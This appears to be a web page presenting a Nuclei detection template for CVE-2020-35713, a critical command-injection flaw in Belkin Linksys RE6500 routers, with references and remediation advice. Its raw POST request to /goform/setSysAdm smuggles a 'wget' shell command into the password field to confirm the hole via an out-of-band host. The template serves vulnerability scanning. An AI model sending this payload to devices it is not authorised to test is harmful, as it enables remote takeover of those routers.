Belkin Linksys RE6500 <1.0.012.001 - Remote Command Execution

ID: CVE-2020-35713

Severity: critical

Author: gy741

Tags: cve,cve2020,linksys,rce,oast,router

Description

Belkin LINKSYS RE6500 devices before 1.0.012.001 allow remote attackers to execute arbitrary commands or set a new password via shell metacharacters to the goform/setSysAdm page.

YAML Source

id: CVE-2020-35713

info:
  name: Belkin Linksys RE6500 <1.0.012.001 - Remote Command Execution
  author: gy741
  severity: critical
  description: Belkin LINKSYS RE6500 devices before 1.0.012.001 allow remote attackers to execute arbitrary commands or set a new password via shell metacharacters to the goform/setSysAdm page.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
  remediation: |
    Update the Belkin Linksys RE6500 firmware to version 1.0.012.001 or later.
  reference:
    - https://downloads.linksys.com/support/assets/releasenotes/ExternalReleaseNotes_RE6500_1.0.012.001.txt
    - https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35713
    - https://bugcrowd.com/disclosures/72d7246b-f77f-4f7f-9bd1-fdc35663cc92/linksys-re6500-unauthenticated-rce-working-across-multiple-fw-versions
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35713
    cwe-id: CWE-78
    epss-score: 0.96521
    epss-percentile: 0.99601
    cpe: cpe:2.3:o:linksys:re6500_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: linksys
    product: re6500_firmware
  tags: cve,cve2020,linksys,rce,oast,router

http:
  - raw:
      - |
        POST /goform/setSysAdm HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/login.shtml

        admuser=admin&admpass=;wget http://{{interactsh-url}};&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 490a00463044022015b524289392941ef9ecc8da9b8bab8f815f7b5e1ef0169d65bb4c0ceee3488f0220276f952db532b370418332d4e92fe82ce0ccf31ce0ee35aec3e59da72a0108e1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-35713.yaml"

View on Github